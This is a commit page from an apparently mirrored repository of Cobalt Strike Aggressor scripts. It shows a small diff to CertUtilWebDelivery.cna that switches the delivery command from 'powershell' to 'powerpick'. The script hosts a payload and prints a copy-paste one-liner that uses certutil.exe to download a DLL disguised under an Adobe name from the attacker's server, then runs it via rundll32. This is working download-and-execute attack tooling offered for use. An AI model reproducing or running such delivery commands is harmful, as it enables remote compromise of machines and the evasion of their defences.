infosecn1nja
/
AggressorScripts
mirror of https://github.com/infosecn1nja/AggressorScripts.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Updated script to use PowerPick thanks @424f424f!

Execute-Assembly
Harley Lebeau 2017-09-01 23:05:08 -04:00 committed by GitHub
parent 58e1002587
commit 2c4c03dba4
1 changed files with 2 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

4
CertUtilWebDelivery.cna
View File

@ -27,9 +27,9 @@ sub stage_attack {
$url = site_host(%options["host"], %options["port"], %options["uri"], $script, "automatic", "Scripted Web Delivery (CertUtil)"); $url = site_host(%options["host"], %options["port"], %options["uri"], $script, "automatic", "Scripted Web Delivery (CertUtil)");
# tell the user our URL # tell the user our URL
prompt_text("Copy/Paste One-liner: ", "powershell certutil.exe -urlcache -split -f " . $url . " Adobedll.dll; rundll32.exe Adobedll.dll,StartW", {}); prompt_text("Copy/Paste One-liner: ", "powerpick certutil.exe -urlcache -split -f " . $url . " Adobedll.dll; rundll32.exe Adobedll.dll,StartW", {});
show_message("Be aware of the default values in this script and change them! (Adobedll.dll, dll.txt)"); show_message("Be aware of the default values in this script and change them! (Adobedll.dll, dll.txt)");
elog("powershell certutil.exe -urlcache -split -f " . $url . " Adobedll.dll; rundll32.exe Adobedll.dll,StartW"); elog("powerpick certutil.exe -urlcache -split -f " . $url . " Adobedll.dll; rundll32.exe Adobedll.dll,StartW");
} }